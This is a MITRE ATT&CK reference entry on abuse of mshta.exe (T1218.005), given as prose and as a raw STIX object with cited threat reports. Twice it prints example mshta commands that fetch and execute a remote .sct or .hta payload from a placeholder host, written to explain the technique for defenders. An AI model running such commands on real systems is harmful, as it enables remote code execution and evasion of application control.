MITRE ATT&CK Technique
Description
Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications) Files may be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))</code> They may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code> Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)
Supported Platforms
Created
April 29, 2026
Last Updated
April 29, 2026
STIX Data
{'created': '2020-01-23T19:32:49.557Z',
'created_by_ref': 'identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5',
'description': 'Adversaries may abuse mshta.exe to proxy execution of '
'malicious .hta files and Javascript or VBScript through a '
'trusted Windows utility. There are several examples of '
'different types of threats leveraging mshta.exe during '
'initial compromise and for execution of code (Citation: '
'Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part '
'Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: '
'Airbus Security Kovter Analysis) (Citation: FireEye FIN7 '
'April 2017) \n'
'\n'
'Mshta.exe is a utility that executes Microsoft HTML '
'Applications (HTA) files. (Citation: Wikipedia HTML '
'Application) HTAs are standalone applications that execute '
'using the same models and technologies of Internet Explorer, '
'but outside of the browser. (Citation: MSDN HTML '
'Applications)\n'
'\n'
'Files may be executed by mshta.exe through an inline script: '
'<code>mshta '
'vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))</code>\n'
'\n'
'They may also be executed directly from URLs: <code>mshta '
'http[:]//webserver/payload[.]hta</code>\n'
'\n'
'Mshta.exe can be used to bypass application control solutions '
'that do not account for its potential use. Since mshta.exe '
"executes outside of the Internet Explorer's security context, "
'it also bypasses browser security settings. (Citation: LOLBAS '
'Mshta)',
'external_references': [{'external_id': 'T1218.005',
'source_name': 'mitre-attack',
'url': 'https://attack.mitre.org/techniques/T1218/005'},
{'description': 'Gross, J. (2016, February 23). '
'Operation Dust Storm. Retrieved '
'December 22, 2021.',
'source_name': 'Cylance Dust Storm',
'url': 'https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf'},
{'description': 'McCammon, K. (2015, August 14). '
'Microsoft HTML Application (HTA) '
'Abuse, Part Deux. Retrieved October '
'27, 2017.',
'source_name': 'Red Canary HTA Abuse Part Deux',
'url': 'https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/'},
{'description': 'Berry, A., Galang, L., Jiang, G., '
'Leathery, J., Mohandas, R. (2017, '
'April 11). CVE-2017-0199: In the '
'Wild Attacks Leveraging HTA Handler. '
'Retrieved October 27, 2017.',
'source_name': 'FireEye Attacks Leveraging HTA',
'url': 'https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html'},
{'description': 'Dove, A. (2016, March 23). Fileless '
'Malware – A Behavioural Analysis Of '
'Kovter Persistence. Retrieved '
'December 5, 2017.',
'source_name': 'Airbus Security Kovter Analysis',
'url': 'https://airbus-cyber-security.com/fileless-malware-behavioural-analysis-kovter-persistence/'},
{'description': 'Carr, N., et al. (2017, April 24). '
'FIN7 Evolution and the Phishing LNK. '
'Retrieved April 24, 2017.',
'source_name': 'FireEye FIN7 April 2017',
'url': 'https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html'},
{'description': 'Wikipedia. (2017, October 14). HTML '
'Application. Retrieved October 27, '
'2017.',
'source_name': 'Wikipedia HTML Application',
'url': 'https://en.wikipedia.org/wiki/HTML_Application'},
{'description': 'Microsoft. (n.d.). HTML '
'Applications. Retrieved October 27, '
'2017.',
'source_name': 'MSDN HTML Applications',
'url': 'https://msdn.microsoft.com/library/ms536471.aspx'},
{'description': 'LOLBAS. (n.d.). Mshta.exe. Retrieved '
'July 31, 2019.',
'source_name': 'LOLBAS Mshta',
'url': 'https://lolbas-project.github.io/lolbas/Binaries/Mshta/'}],
'id': 'attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade',
'kill_chain_phases': [{'kill_chain_name': 'mitre-attack',
'phase_name': 'defense-evasion'}],
'modified': '2025-10-24T17:49:03.265Z',
'name': 'Mshta',
'object_marking_refs': ['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],
'spec_version': '2.1',
'type': 'attack-pattern',
'x_mitre_attack_spec_version': '3.2.0',
'x_mitre_contributors': ['@ionstorm',
'Ye Yint Min Thu Htut, Offensive Security Team, DBS '
'Bank',
'Ricardo Dias'],
'x_mitre_deprecated': False,
'x_mitre_detection': '',
'x_mitre_domains': ['enterprise-attack'],
'x_mitre_is_subtechnique': True,
'x_mitre_modified_by_ref': 'identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5',
'x_mitre_platforms': ['Windows'],
'x_mitre_version': '2.1'}